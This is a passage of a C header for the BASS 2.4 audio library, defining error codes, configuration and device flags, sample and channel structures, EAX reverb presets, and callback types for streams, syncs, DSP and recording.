version\n#define BASSVERSIONTEXT\t\t\"2.4\"\n\n#ifndef BASSDEF\n#define BASSDEF(f) WINAPI f\n#else\n#define NOBASSOVERLOADS\n#endif\n\ntypedef DWORD HMUSIC;\t\t// MOD music handle\ntypedef DWORD HSAMPLE;\t\t// sample handle\ntypedef DWORD HCHANNEL;\t\t// playing sample's channel handle\ntypedef DWORD HSTREAM;\t\t// sample stream handle\ntypedef DWORD HRECORD;\t\t// recording handle\ntypedef DWORD HSYNC;\t\t// synchronizer handle\ntypedef DWORD HDSP;\t\t\t// DSP handle\ntypedef DWORD HFX;\t\t\t// DX8 effect handle\ntypedef DWORD HPLUGIN;\t\t// Plugin handle\n\n// Error codes returned by BASS_ErrorGetCode\n#define BASS_OK\t\t\t\t0\t// all is OK\n#define BASS_ERROR_MEM\t\t1\t// memory error\n#define BASS_ERROR_FILEOPEN\t2\t// can't open the file\n#define BASS_ERROR_DRIVER\t3\t// can't find a free/valid driver\n#define BASS_ERROR_BUFLOST\t4\t// the sample buffer was lost\n#define BASS_ERROR_HANDLE\t5\t// invalid handle\n#define BASS_ERROR_FORMAT\t6\t// unsupported sample format\n#define BASS_ERROR_POSITION\t7\t// invalid position\n#define BASS_ERROR_INIT\t\t8\t// BASS_Init has not been successfully called\n#define BASS_ERROR_START\t9\t// BASS_Start has not been successfully called\n#define BASS_ERROR_SSL\t\t10\t// SSL/HTTPS support isn't available\n#define BASS_ERROR_ALREADY\t14\t// already initialized/paused/whatever\n#define BASS_ERROR_NOCHAN\t18\t// can't get a free channel\n#define BASS_ERROR_ILLTYPE\t19\t// an illegal type was specified\n#define BASS_ERROR_ILLPARAM\t20\t// an illegal parameter was specified\n#define BASS_ERROR_NO3D\t\t21\t// no 3D support\n#define BASS_ERROR_NOEAX\t22\t// no EAX support\n#define BASS_ERROR_DEVICE\t23\t// illegal device number\n#define BASS_ERROR_NOPLAY\t24\t// not playing\n#define BASS_ERROR_FREQ\t\t25\t// illegal sample rate\n#define BASS_ERROR_NOTFILE\t27\t// the stream is not a file stream\n#define BASS_ERROR_NOHW\t\t29\t// no hardware voices available\n#define BASS_ERROR_EMPTY\t31\t// the MOD music has no sequence data\n#define BASS_ERROR_NONET\t32\t// no internet connection could be opened\n#define BASS_ERROR_CREATE\t33\t// couldn't create the file\n#define BASS_ERROR_NOFX\t\t34\t// effects are not available\n#define BASS_ERROR_NOTAVAIL\t37\t// requested data is not available\n#define BASS_ERROR_DECODE\t38\t// the channel is/isn't a \"decoding channel\"\n#define BASS_ERROR_DX\t\t39\t// a sufficient DirectX version is not installed\n#define BASS_ERROR_TIMEOUT\t40\t// connection timedout\n#define BASS_ERROR_FILEFORM\t41\t// unsupported file format\n#define BASS_ERROR_SPEAKER\t42\t// unavailable speaker\n#define BASS_ERROR_VERSION\t43\t// invalid BASS version (used by add-ons)\n#define BASS_ERROR_CODEC\t44\t// codec is not available/supported\n#define BASS_ERROR_ENDED\t45\t// the channel/file has ended\n#define BASS_ERROR_BUSY\t\t46\t// the device is busy\r\n#define BASS_ERROR_UNKNOWN\t-1\t// some other mystery problem\n\n// BASS_SetConfig options\n#define BASS_CONFIG_BUFFER\t\t\t0\n#define BASS_CONFIG_UPDATEPERIOD\t1\n#define BASS_CONFIG_GVOL_SAMPLE\t\t4\n#define BASS_CONFIG_GVOL_STREAM\t\t5\n#define BASS_CONFIG_GVOL_MUSIC\t\t6\n#define BASS_CONFIG_CURVE_VOL\t\t7\n#define BASS_CONFIG_CURVE_PAN\t\t8\n#define BASS_CONFIG_FLOATDSP\t\t9\n#define BASS_CONFIG_3DALGORITHM\t\t10\n#define BASS_CONFIG_NET_TIMEOUT\t\t11\n#define BASS_CONFIG_NET_BUFFER\t\t12\n#define BASS_CONFIG_PAUSE_NOPLAY\t13\n#define BASS_CONFIG_NET_PREBUF\t\t15\n#define BASS_CONFIG_NET_PASSIVE\t\t18\n#define BASS_CONFIG_REC_BUFFER\t\t19\n#define BASS_CONFIG_NET_PLAYLIST\t21\n#define BASS_CONFIG_MUSIC_VIRTUAL\t22\n#define BASS_CONFIG_VERIFY\t\t\t23\n#define BASS_CONFIG_UPDATETHREADS\t24\n#define BASS_CONFIG_DEV_BUFFER\t\t27\n#define BASS_CONFIG_VISTA_TRUEPOS\t30\r\n#define BASS_CONFIG_IOS_MIXAUDIO\t34\r\n#define BASS_CONFIG_DEV_DEFAULT\t\t36\r\n#define BASS_CONFIG_NET_READTIMEOUT\t37\r\n#define BASS_CONFIG_VISTA_SPEAKERS\t38\r\n#define BASS_CONFIG_IOS_SPEAKER\t\t39\r\n#define BASS_CONFIG_MF_DISABLE\t\t40\r\n#define BASS_CONFIG_HANDLES\t\t\t41\r\n#define BASS_CONFIG_UNICODE\t\t\t42\r\n#define BASS_CONFIG_SRC\t\t\t\t43\r\n#define BASS_CONFIG_SRC_SAMPLE\t\t44\r\n#define BASS_CONFIG_ASYNCFILE_BUFFER 45\r\n#define BASS_CONFIG_OGG_PRESCAN\t\t47\r\n#define BASS_CONFIG_MF_VIDEO\t\t48\r\n#define BASS_CONFIG_AIRPLAY\t\t\t49\r\n#define BASS_CONFIG_DEV_NONSTOP\t\t50\r\n#define BASS_CONFIG_IOS_NOCATEGORY\t51\r\n#define BASS_CONFIG_VERIFY_NET\t\t52\n#define BASS_CONFIG_DEV_PERIOD\t\t53\r\n#define BASS_CONFIG_FLOAT\t\t\t54\r\n#define BASS_CONFIG_NET_SEEK\t\t56\n\n// BASS_SetConfigPtr options\n#define BASS_CONFIG_NET_AGENT\t\t16\n#define BASS_CONFIG_NET_PROXY\t\t17\n#define BASS_CONFIG_IOS_NOTIFY\t\t46\r\n\n// BASS_Init flags\n#define BASS_DEVICE_8BITS\t\t1\t\t// 8 bit\n#define BASS_DEVICE_MONO\t\t2\t\t// mono\n#define BASS_DEVICE_3D\t\t\t4\t\t// enable 3D functionality\n#define BASS_DEVICE_16BITS\t\t8\t\t// limit output to 16 bit\r\n#define BASS_DEVICE_LATENCY\t\t0x100\t// calculate device latency (BASS_INFO struct)\n#define BASS_DEVICE_CPSPEAKERS\t0x400\t// detect speakers via Windows control panel\n#define BASS_DEVICE_SPEAKERS\t0x800\t// force enabling of speaker assignment\n#define BASS_DEVICE_NOSPEAKER\t0x1000\t// ignore speaker arrangement\n#define BASS_DEVICE_DMIX\t\t0x2000\t// use ALSA \"dmix\" plugin\n#define BASS_DEVICE_FREQ\t\t0x4000\t// set device sample rate\r\n#define BASS_DEVICE_STEREO\t\t0x8000\t// limit output to stereo\r\n\n// DirectSound interfaces (for use with BASS_GetDSoundObject)\n#define BASS_OBJECT_DS\t\t1\t// IDirectSound\n#define BASS_OBJECT_DS3DL\t2\t// IDirectSound3DListener\n\n// Device info structure\ntypedef struct {\n#if defined(_WIN32_WCE) || (WINAPI_FAMILY && WINAPI_FAMILY!=WINAPI_FAMILY_DESKTOP_APP)\n\tconst wchar_t *name;\t// description\n\tconst wchar_t *driver;\t// driver\n#else\n\tconst char *name;\t// description\n\tconst char *driver;\t// driver\n#endif\n\tDWORD flags;\n} BASS_DEVICEINFO;\n\n// BASS_DEVICEINFO flags\n#define BASS_DEVICE_ENABLED\t\t1\n#define BASS_DEVICE_DEFAULT\t\t2\n#define BASS_DEVICE_INIT\t\t4\n\n#define BASS_DEVICE_TYPE_MASK\t\t\t0xff000000\n#define BASS_DEVICE_TYPE_NETWORK\t\t0x01000000\r\n#define BASS_DEVICE_TYPE_SPEAKERS\t\t0x02000000\r\n#define BASS_DEVICE_TYPE_LINE\t\t\t0x03000000\r\n#define BASS_DEVICE_TYPE_HEADPHONES\t\t0x04000000\r\n#define BASS_DEVICE_TYPE_MICROPHONE\t\t0x05000000\r\n#define BASS_DEVICE_TYPE_HEADSET\t\t0x06000000\r\n#define BASS_DEVICE_TYPE_HANDSET\t\t0x07000000\r\n#define BASS_DEVICE_TYPE_DIGITAL\t\t0x08000000\r\n#define BASS_DEVICE_TYPE_SPDIF\t\t\t0x09000000\r\n#define BASS_DEVICE_TYPE_HDMI\t\t\t0x0a000000\r\n#define BASS_DEVICE_TYPE_DISPLAYPORT\t0x40000000\r\n\n// BASS_GetDeviceInfo flags\r\n#define BASS_DEVICES_AIRPLAY\t0x1000000\r\n\r\ntypedef struct {\n\tDWORD flags;\t// device capabilities (DSCAPS_xxx flags)\n\tDWORD hwsize;\t// size of total device hardware memory\n\tDWORD hwfree;\t// size of free device hardware memory\n\tDWORD freesam;\t// number of free sample slots in the hardware\n\tDWORD free3d;\t// number of free 3D sample slots in the hardware\n\tDWORD minrate;\t// min sample rate supported by the hardware\n\tDWORD maxrate;\t// max sample rate supported by the hardware\n\tBOOL eax;\t\t// device supports EAX? (always FALSE if BASS_DEVICE_3D was not used)\n\tDWORD minbuf;\t// recommended minimum buffer length in ms (requires BASS_DEVICE_LATENCY)\n\tDWORD dsver;\t// DirectSound version\n\tDWORD latency;\t// delay (in ms) before start of playback (requires BASS_DEVICE_LATENCY)\n\tDWORD initflags; // BASS_Init \"flags\" parameter\n\tDWORD speakers; // number of speakers available\n\tDWORD freq;\t\t// current output rate\n} BASS_INFO;\n\n// BASS_INFO flags (from DSOUND.H)\n#define DSCAPS_CONTINUOUSRATE\t0x00000010\t// supports all sample rates between min/maxrate\n#define DSCAPS_EMULDRIVER\t\t0x00000020\t// device does NOT have hardware DirectSound support\n#define DSCAPS_CERTIFIED\t\t0x00000040\t// device driver has been certified by Microsoft\n#define DSCAPS_SECONDARYMONO\t0x00000100\t// mono\n#define DSCAPS_SECONDARYSTEREO\t0x00000200\t// stereo\n#define DSCAPS_SECONDARY8BIT\t0x00000400\t// 8 bit\n#define DSCAPS_SECONDARY16BIT\t0x00000800\t// 16 bit\n\n// Recording device info structure\ntypedef struct {\n\tDWORD flags;\t// device capabilities (DSCCAPS_xxx flags)\n\tDWORD formats;\t// supported standard formats (WAVE_FORMAT_xxx flags)\n\tDWORD inputs;\t// number of inputs\n\tBOOL singlein;\t// TRUE = only 1 input can be set at a time\n\tDWORD freq;\t\t// current input rate\n} BASS_RECORDINFO;\n\n// BASS_RECORDINFO flags (from DSOUND.H)\n#define DSCCAPS_EMULDRIVER\t\tDSCAPS_EMULDRIVER\t// device does NOT have hardware DirectSound recording support\n#define DSCCAPS_CERTIFIED\t\tDSCAPS_CERTIFIED\t// device driver has been certified by Microsoft\r\n\n// defines for formats field of BASS_RECORDINFO (from MMSYSTEM.H)\n#ifndef WAVE_FORMAT_1M08\n#define WAVE_FORMAT_1M08 0x00000001 /* 11.025 kHz, Mono, 8-bit */\n#define WAVE_FORMAT_1S08 0x00000002 /* 11.025 kHz, Stereo, 8-bit */\n#define WAVE_FORMAT_1M16 0x00000004 /* 11.025 kHz, Mono, 16-bit */\n#define WAVE_FORMAT_1S16 0x00000008 /* 11.025 kHz, Stereo, 16-bit */\n#define WAVE_FORMAT_2M08 0x00000010 /* 22.05 kHz, Mono, 8-bit */\n#define WAVE_FORMAT_2S08 0x00000020 /* 22.05 kHz, Stereo, 8-bit */\n#define WAVE_FORMAT_2M16 0x00000040 /* 22.05 kHz, Mono, 16-bit */\n#define WAVE_FORMAT_2S16 0x00000080 /* 22.05 kHz, Stereo, 16-bit */\n#define WAVE_FORMAT_4M08 0x00000100 /* 44.1 kHz, Mono, 8-bit */\n#define WAVE_FORMAT_4S08 0x00000200 /* 44.1 kHz, Stereo, 8-bit */\n#define WAVE_FORMAT_4M16 0x00000400 /* 44.1 kHz, Mono, 16-bit */\n#define WAVE_FORMAT_4S16 0x00000800 /* 44.1 kHz, Stereo, 16-bit */\n#endif\n\n// Sample info structure\ntypedef struct {\n\tDWORD freq;\t\t// default playback rate\n\tfloat volume;\t// default volume (0-1)\n\tfloat pan;\t\t// default pan (-1=left, 0=middle, 1=right)\n\tDWORD flags;\t// BASS_SAMPLE_xxx flags\n\tDWORD length;\t// length (in bytes)\n\tDWORD max;\t\t// maximum simultaneous playbacks\n\tDWORD origres;\t// original resolution bits\n\tDWORD chans;\t// number of channels\n\tDWORD mingap;\t// minimum gap (ms) between creating channels\n\tDWORD mode3d;\t// BASS_3DMODE_xxx mode\n\tfloat mindist;\t// minimum distance\n\tfloat maxdist;\t// maximum distance\n\tDWORD iangle;\t// angle of inside projection cone\n\tDWORD oangle;\t// angle of outside projection cone\n\tfloat outvol;\t// delta-volume outside the projection cone\n\tDWORD vam;\t\t// voice allocation/management flags (BASS_VAM_xxx)\n\tDWORD priority;\t// priority (0=lowest, 0xffffffff=highest)\n} BASS_SAMPLE;\n\n#define BASS_SAMPLE_8BITS\t\t1\t// 8 bit\n#define BASS_SAMPLE_FLOAT\t\t256\t// 32 bit floating-point\n#define BASS_SAMPLE_MONO\t\t2\t// mono\n#define BASS_SAMPLE_LOOP\t\t4\t// looped\n#define BASS_SAMPLE_3D\t\t\t8\t// 3D functionality\n#define BASS_SAMPLE_SOFTWARE\t16\t// not using hardware mixing\n#define BASS_SAMPLE_MUTEMAX\t\t32\t// mute at max distance (3D only)\n#define BASS_SAMPLE_VAM\t\t\t64\t// DX7 voice allocation & management\n#define BASS_SAMPLE_FX\t\t\t128\t// old implementation of DX8 effects\n#define BASS_SAMPLE_OVER_VOL\t0x10000\t// override lowest volume\n#define BASS_SAMPLE_OVER_POS\t0x20000\t// override longest playing\n#define BASS_SAMPLE_OVER_DIST\t0x30000 // override furthest from listener (3D only)\n\n#define BASS_STREAM_PRESCAN\t\t0x20000 // enable pin-point seeking/length (MP3/MP2/MP1)\n#define BASS_MP3_SETPOS\t\t\tBASS_STREAM_PRESCAN\n#define BASS_STREAM_AUTOFREE\t0x40000\t// automatically free the stream when it stop/ends\n#define BASS_STREAM_RESTRATE\t0x80000\t// restrict the download rate of internet file streams\n#define BASS_STREAM_BLOCK\t\t0x100000 // download/play internet file stream in small blocks\n#define BASS_STREAM_DECODE\t\t0x200000 // don't play the stream, only decode (BASS_ChannelGetData)\n#define BASS_STREAM_STATUS\t\t0x800000 // give server status info (HTTP/ICY tags) in DOWNLOADPROC\n\n#define BASS_MUSIC_FLOAT\t\tBASS_SAMPLE_FLOAT\n#define BASS_MUSIC_MONO\t\t\tBASS_SAMPLE_MONO\n#define BASS_MUSIC_LOOP\t\t\tBASS_SAMPLE_LOOP\n#define BASS_MUSIC_3D\t\t\tBASS_SAMPLE_3D\n#define BASS_MUSIC_FX\t\t\tBASS_SAMPLE_FX\n#define BASS_MUSIC_AUTOFREE\t\tBASS_STREAM_AUTOFREE\n#define BASS_MUSIC_DECODE\t\tBASS_STREAM_DECODE\n#define BASS_MUSIC_PRESCAN\t\tBASS_STREAM_PRESCAN\t// calculate playback length\n#define BASS_MUSIC_CALCLEN\t\tBASS_MUSIC_PRESCAN\n#define BASS_MUSIC_RAMP\t\t\t0x200\t// normal ramping\n#define BASS_MUSIC_RAMPS\t\t0x400\t// sensitive ramping\n#define BASS_MUSIC_SURROUND\t\t0x800\t// surround sound\n#define BASS_MUSIC_SURROUND2\t0x1000\t// surround sound (mode 2)\n#define BASS_MUSIC_FT2PAN\t\t0x2000\t// apply FastTracker 2 panning to XM files\n#define BASS_MUSIC_FT2MOD\t\t0x2000\t// play .MOD as FastTracker 2 does\n#define BASS_MUSIC_PT1MOD\t\t0x4000\t// play .MOD as ProTracker 1 does\n#define BASS_MUSIC_NONINTER\t\t0x10000\t// non-interpolated sample mixing\n#define BASS_MUSIC_SINCINTER\t0x800000 // sinc interpolated sample mixing\n#define BASS_MUSIC_POSRESET\t\t0x8000\t// stop all notes when moving position\n#define BASS_MUSIC_POSRESETEX\t0x400000 // stop all notes and reset bmp/etc when moving position\n#define BASS_MUSIC_STOPBACK\t\t0x80000\t// stop the music on a backwards jump effect\n#define BASS_MUSIC_NOSAMPLE\t\t0x100000 // don't load the samples\n\n// Speaker assignment flags\n#define BASS_SPEAKER_FRONT\t0x1000000\t// front speakers\n#define BASS_SPEAKER_REAR\t0x2000000\t// rear/side speakers\n#define BASS_SPEAKER_CENLFE\t0x3000000\t// center & LFE speakers (5.1)\n#define BASS_SPEAKER_REAR2\t0x4000000\t// rear center speakers (7.1)\n#define BASS_SPEAKER_N(n)\t((n)<<24)\t// n'th pair of speakers (max 15)\n#define BASS_SPEAKER_LEFT\t0x10000000\t// modifier: left\n#define BASS_SPEAKER_RIGHT\t0x20000000\t// modifier: right\n#define BASS_SPEAKER_FRONTLEFT\tBASS_SPEAKER_FRONT|BASS_SPEAKER_LEFT\n#define BASS_SPEAKER_FRONTRIGHT\tBASS_SPEAKER_FRONT|BASS_SPEAKER_RIGHT\n#define BASS_SPEAKER_REARLEFT\tBASS_SPEAKER_REAR|BASS_SPEAKER_LEFT\n#define BASS_SPEAKER_REARRIGHT\tBASS_SPEAKER_REAR|BASS_SPEAKER_RIGHT\n#define BASS_SPEAKER_CENTER\t\tBASS_SPEAKER_CENLFE|BASS_SPEAKER_LEFT\n#define BASS_SPEAKER_LFE\t\tBASS_SPEAKER_CENLFE|BASS_SPEAKER_RIGHT\n#define BASS_SPEAKER_REAR2LEFT\tBASS_SPEAKER_REAR2|BASS_SPEAKER_LEFT\n#define BASS_SPEAKER_REAR2RIGHT\tBASS_SPEAKER_REAR2|BASS_SPEAKER_RIGHT\n\n#define BASS_ASYNCFILE\t\t\t0x40000000\r\n#define BASS_UNICODE\t\t\t0x80000000\n\n#define BASS_RECORD_PAUSE\t\t0x8000\t// start recording paused\n#define BASS_RECORD_ECHOCANCEL\t0x2000\r\n#define BASS_RECORD_AGC\t\t\t0x4000\r\n\n// DX7 voice allocation & management flags\n#define BASS_VAM_HARDWARE\t\t1\n#define BASS_VAM_SOFTWARE\t\t2\n#define BASS_VAM_TERM_TIME\t\t4\n#define BASS_VAM_TERM_DIST\t\t8\n#define BASS_VAM_TERM_PRIO\t\t16\n\n// Channel info structure\ntypedef struct {\n\tDWORD freq;\t\t// default playback rate\n\tDWORD chans;\t// channels\n\tDWORD flags;\t// BASS_SAMPLE/STREAM/MUSIC/SPEAKER flags\n\tDWORD ctype;\t// type of channel\n\tDWORD origres;\t// original resolution\n\tHPLUGIN plugin;\t// plugin\n\tHSAMPLE sample; // sample\n\tconst char *filename; // filename\n} BASS_CHANNELINFO;\n\n// BASS_CHANNELINFO types\n#define BASS_CTYPE_SAMPLE\t\t1\n#define BASS_CTYPE_RECORD\t\t2\n#define BASS_CTYPE_STREAM\t\t0x10000\n#define BASS_CTYPE_STREAM_OGG\t0x10002\n#define BASS_CTYPE_STREAM_MP1\t0x10003\n#define BASS_CTYPE_STREAM_MP2\t0x10004\n#define BASS_CTYPE_STREAM_MP3\t0x10005\n#define BASS_CTYPE_STREAM_AIFF\t0x10006\n#define BASS_CTYPE_STREAM_CA\t0x10007\n#define BASS_CTYPE_STREAM_MF\t0x10008\r\n#define BASS_CTYPE_STREAM_WAV\t0x40000 // WAVE flag, LOWORD=codec\n#define BASS_CTYPE_STREAM_WAV_PCM\t0x50001\n#define BASS_CTYPE_STREAM_WAV_FLOAT\t0x50003\n#define BASS_CTYPE_MUSIC_MOD\t0x20000\n#define BASS_CTYPE_MUSIC_MTM\t0x20001\n#define BASS_CTYPE_MUSIC_S3M\t0x20002\n#define BASS_CTYPE_MUSIC_XM\t\t0x20003\n#define BASS_CTYPE_MUSIC_IT\t\t0x20004\n#define BASS_CTYPE_MUSIC_MO3\t0x00100 // MO3 flag\n\ntypedef struct {\n\tDWORD ctype;\t\t// channel type\n#if defined(_WIN32_WCE) || (WINAPI_FAMILY && WINAPI_FAMILY!=WINAPI_FAMILY_DESKTOP_APP)\n\tconst wchar_t *name;\t// format description\n\tconst wchar_t *exts;\t// file extension filter (*.ext1;*.ext2;etc...)\n#else\n\tconst char *name;\t// format description\n\tconst char *exts;\t// file extension filter (*.ext1;*.ext2;etc...)\n#endif\n} BASS_PLUGINFORM;\n\ntypedef struct {\n\tDWORD version;\t\t\t\t\t// version (same form as BASS_GetVersion)\n\tDWORD formatc;\t\t\t\t\t// number of formats\n\tconst BASS_PLUGINFORM *formats;\t// the array of formats\n} BASS_PLUGININFO;\n\n// 3D vector (for 3D positions/velocities/orientations)\ntypedef struct BASS_3DVECTOR {\n#ifdef __cplusplus\n\tBASS_3DVECTOR() {};\n\tBASS_3DVECTOR(float _x, float _y, float _z) : x(_x), y(_y), z(_z) {};\n#endif\n\tfloat x;\t// +=right, -=left\n\tfloat y;\t// +=up, -=down\n\tfloat z;\t// +=front, -=behind\n} BASS_3DVECTOR;\n\n// 3D channel modes\n#define BASS_3DMODE_NORMAL\t\t0\t// normal 3D processing\n#define BASS_3DMODE_RELATIVE\t1\t// position is relative to the listener\n#define BASS_3DMODE_OFF\t\t\t2\t// no 3D processing\n\n// software 3D mixing algorithms (used with BASS_CONFIG_3DALGORITHM)\n#define BASS_3DALG_DEFAULT\t0\n#define BASS_3DALG_OFF\t\t1\n#define BASS_3DALG_FULL\t\t2\n#define BASS_3DALG_LIGHT\t3\n\n// EAX environments, use with BASS_SetEAXParameters\nenum\n{\n EAX_ENVIRONMENT_GENERIC,\n EAX_ENVIRONMENT_PADDEDCELL,\n EAX_ENVIRONMENT_ROOM,\n EAX_ENVIRONMENT_BATHROOM,\n EAX_ENVIRONMENT_LIVINGROOM,\n EAX_ENVIRONMENT_STONEROOM,\n EAX_ENVIRONMENT_AUDITORIUM,\n EAX_ENVIRONMENT_CONCERTHALL,\n EAX_ENVIRONMENT_CAVE,\n EAX_ENVIRONMENT_ARENA,\n EAX_ENVIRONMENT_HANGAR,\n EAX_ENVIRONMENT_CARPETEDHALLWAY,\n EAX_ENVIRONMENT_HALLWAY,\n EAX_ENVIRONMENT_STONECORRIDOR,\n EAX_ENVIRONMENT_ALLEY,\n EAX_ENVIRONMENT_FOREST,\n EAX_ENVIRONMENT_CITY,\n EAX_ENVIRONMENT_MOUNTAINS,\n EAX_ENVIRONMENT_QUARRY,\n EAX_ENVIRONMENT_PLAIN,\n EAX_ENVIRONMENT_PARKINGLOT,\n EAX_ENVIRONMENT_SEWERPIPE,\n EAX_ENVIRONMENT_UNDERWATER,\n EAX_ENVIRONMENT_DRUGGED,\n EAX_ENVIRONMENT_DIZZY,\n EAX_ENVIRONMENT_PSYCHOTIC,\n\n EAX_ENVIRONMENT_COUNT\t\t\t// total number of environments\n};\n\n// EAX presets, usage: BASS_SetEAXParameters(EAX_PRESET_xxx)\n#define EAX_PRESET_GENERIC EAX_ENVIRONMENT_GENERIC,0.5F,1.493F,0.5F\n#define EAX_PRESET_PADDEDCELL EAX_ENVIRONMENT_PADDEDCELL,0.25F,0.1F,0.0F\n#define EAX_PRESET_ROOM EAX_ENVIRONMENT_ROOM,0.417F,0.4F,0.666F\n#define EAX_PRESET_BATHROOM EAX_ENVIRONMENT_BATHROOM,0.653F,1.499F,0.166F\n#define EAX_PRESET_LIVINGROOM EAX_ENVIRONMENT_LIVINGROOM,0.208F,0.478F,0.0F\n#define EAX_PRESET_STONEROOM EAX_ENVIRONMENT_STONEROOM,0.5F,2.309F,0.888F\n#define EAX_PRESET_AUDITORIUM EAX_ENVIRONMENT_AUDITORIUM,0.403F,4.279F,0.5F\n#define EAX_PRESET_CONCERTHALL EAX_ENVIRONMENT_CONCERTHALL,0.5F,3.961F,0.5F\n#define EAX_PRESET_CAVE EAX_ENVIRONMENT_CAVE,0.5F,2.886F,1.304F\n#define EAX_PRESET_ARENA EAX_ENVIRONMENT_ARENA,0.361F,7.284F,0.332F\n#define EAX_PRESET_HANGAR EAX_ENVIRONMENT_HANGAR,0.5F,10.0F,0.3F\n#define EAX_PRESET_CARPETEDHALLWAY EAX_ENVIRONMENT_CARPETEDHALLWAY,0.153F,0.259F,2.0F\n#define EAX_PRESET_HALLWAY EAX_ENVIRONMENT_HALLWAY,0.361F,1.493F,0.0F\n#define EAX_PRESET_STONECORRIDOR EAX_ENVIRONMENT_STONECORRIDOR,0.444F,2.697F,0.638F\n#define EAX_PRESET_ALLEY EAX_ENVIRONMENT_ALLEY,0.25F,1.752F,0.776F\n#define EAX_PRESET_FOREST EAX_ENVIRONMENT_FOREST,0.111F,3.145F,0.472F\n#define EAX_PRESET_CITY EAX_ENVIRONMENT_CITY,0.111F,2.767F,0.224F\n#define EAX_PRESET_MOUNTAINS EAX_ENVIRONMENT_MOUNTAINS,0.194F,7.841F,0.472F\n#define EAX_PRESET_QUARRY EAX_ENVIRONMENT_QUARRY,1.0F,1.499F,0.5F\n#define EAX_PRESET_PLAIN EAX_ENVIRONMENT_PLAIN,0.097F,2.767F,0.224F\n#define EAX_PRESET_PARKINGLOT EAX_ENVIRONMENT_PARKINGLOT,0.208F,1.652F,1.5F\n#define EAX_PRESET_SEWERPIPE EAX_ENVIRONMENT_SEWERPIPE,0.652F,2.886F,0.25F\n#define EAX_PRESET_UNDERWATER EAX_ENVIRONMENT_UNDERWATER,1.0F,1.499F,0.0F\n#define EAX_PRESET_DRUGGED EAX_ENVIRONMENT_DRUGGED,0.875F,8.392F,1.388F\n#define EAX_PRESET_DIZZY EAX_ENVIRONMENT_DIZZY,0.139F,17.234F,0.666F\n#define EAX_PRESET_PSYCHOTIC EAX_ENVIRONMENT_PSYCHOTIC,0.486F,7.563F,0.806F\n\ntypedef DWORD (CALLBACK STREAMPROC)(HSTREAM handle, void *buffer, DWORD length, void *user);\n/* User stream callback function. NOTE: A stream function should obviously be as quick\nas possible, other streams (and MOD musics) can't be mixed until it's finished.\nhandle : The stream that needs writing\nbuffer : Buffer to write the samples in\nlength : Number of bytes to write\nuser : The 'user' parameter value given when calling BASS_StreamCreate\nRETURN : Number of bytes written. Set the BASS_STREAMPROC_END flag to end\n the stream. */\n\n#define BASS_STREAMPROC_END\t\t0x80000000\t// end of user stream flag\n\n// special STREAMPROCs\n#define STREAMPROC_DUMMY\t\t(STREAMPROC*)0\t\t// \"dummy\" stream\n#define STREAMPROC_PUSH\t\t\t(STREAMPROC*)-1\t\t// push stream\n\n// BASS_StreamCreateFileUser file systems\n#define STREAMFILE_NOBUFFER\t\t0\n#define STREAMFILE_BUFFER\t\t1\n#define STREAMFILE_BUFFERPUSH\t2\n\n// User file stream callback functions\ntypedef void (CALLBACK FILECLOSEPROC)(void *user);\ntypedef QWORD (CALLBACK FILELENPROC)(void *user);\ntypedef DWORD (CALLBACK FILEREADPROC)(void *buffer, DWORD length, void *user);\ntypedef BOOL (CALLBACK FILESEEKPROC)(QWORD offset, void *user);\n\ntypedef struct {\n\tFILECLOSEPROC *close;\n\tFILELENPROC *length;\n\tFILEREADPROC *read;\n\tFILESEEKPROC *seek;\n} BASS_FILEPROCS;\n\n// BASS_StreamPutFileData options\n#define BASS_FILEDATA_END\t\t0\t// end & close the file\n\n// BASS_StreamGetFilePosition modes\n#define BASS_FILEPOS_CURRENT\t0\n#define BASS_FILEPOS_DECODE\t\tBASS_FILEPOS_CURRENT\n#define BASS_FILEPOS_DOWNLOAD\t1\n#define BASS_FILEPOS_END\t\t2\n#define BASS_FILEPOS_START\t\t3\n#define BASS_FILEPOS_CONNECTED\t4\n#define BASS_FILEPOS_BUFFER\t\t5\n#define BASS_FILEPOS_SOCKET\t\t6\n#define BASS_FILEPOS_ASYNCBUF\t7\r\n#define BASS_FILEPOS_SIZE\t\t8\n\ntypedef void (CALLBACK DOWNLOADPROC)(const void *buffer, DWORD length, void *user);\n/* Internet stream download callback function.\nbuffer : Buffer containing the downloaded data... NULL=end of download\nlength : Number of bytes in the buffer\nuser : The 'user' parameter value given when calling BASS_StreamCreateURL */\n\n// BASS_ChannelSetSync types\n#define BASS_SYNC_POS\t\t\t0\n#define BASS_SYNC_END\t\t\t2\n#define BASS_SYNC_META\t\t\t4\n#define BASS_SYNC_SLIDE\t\t\t5\n#define BASS_SYNC_STALL\t\t\t6\n#define BASS_SYNC_DOWNLOAD\t\t7\n#define BASS_SYNC_FREE\t\t\t8\n#define BASS_SYNC_SETPOS\t\t11\n#define BASS_SYNC_MUSICPOS\t\t10\n#define BASS_SYNC_MUSICINST\t\t1\n#define BASS_SYNC_MUSICFX\t\t3\n#define BASS_SYNC_OGG_CHANGE\t12\n#define BASS_SYNC_MIXTIME\t\t0x40000000\t// flag: sync at mixtime, else at playtime\n#define BASS_SYNC_ONETIME\t\t0x80000000\t// flag: sync only once, else continuously\n\ntypedef void (CALLBACK SYNCPROC)(HSYNC handle, DWORD channel, DWORD data, void *user);\n/* Sync callback function. NOTE: a sync callback function should be very\nquick as other syncs can't be processed until it has finished. If the sync\nis a \"mixtime\" sync, then other streams and MOD musics can't be mixed until\nit's finished either.\nhandle : The sync that has occurred\nchannel: Channel that the sync occurred in\ndata : Additional data associated with the sync's occurrence\nuser : The 'user' parameter given when calling BASS_ChannelSetSync */\n\ntypedef void (CALLBACK DSPPROC)(HDSP handle, DWORD channel, void *buffer, DWORD length, void *user);\n/* DSP callback function. NOTE: A DSP function should obviously be as quick as\npossible... other DSP functions, streams and MOD musics can not be processed\nuntil it's finished.\nhandle : The DSP handle\nchannel: Channel that the DSP is being applied to\nbuffer : Buffer to apply the DSP to\nlength : Number of bytes in the buffer\nuser : The 'user' parameter given when calling BASS_ChannelSetDSP */\n\ntypedef BOOL (CALLBACK RECORDPROC)(HRECORD handle, const void *buffer, DWORD length, void *user);\n/* Recording callback function.\nhandle : The recording handle\nbuffer : Buffer containing the recorded sample data\nlength : Number of bytes\nuser : The 'user' parameter value given when calling BASS_RecordStart\nRETURN : TRUE = continue recording, FALSE = stop */\n\n// BASS_ChannelIsActive return values\n#define BASS_ACTIVE_STOPPED\t0\n#define BASS_ACTIVE_PLAYING\t1\n#define BASS_ACTIVE_STALLED\t2\n#define BASS_ACTIVE_PAUSED\t3\n\n// Channel attributes\n#define BASS_ATTRIB_FREQ\t\t\t1\n#define BASS_ATTRIB_VOL\t\t\t\t2\n#define 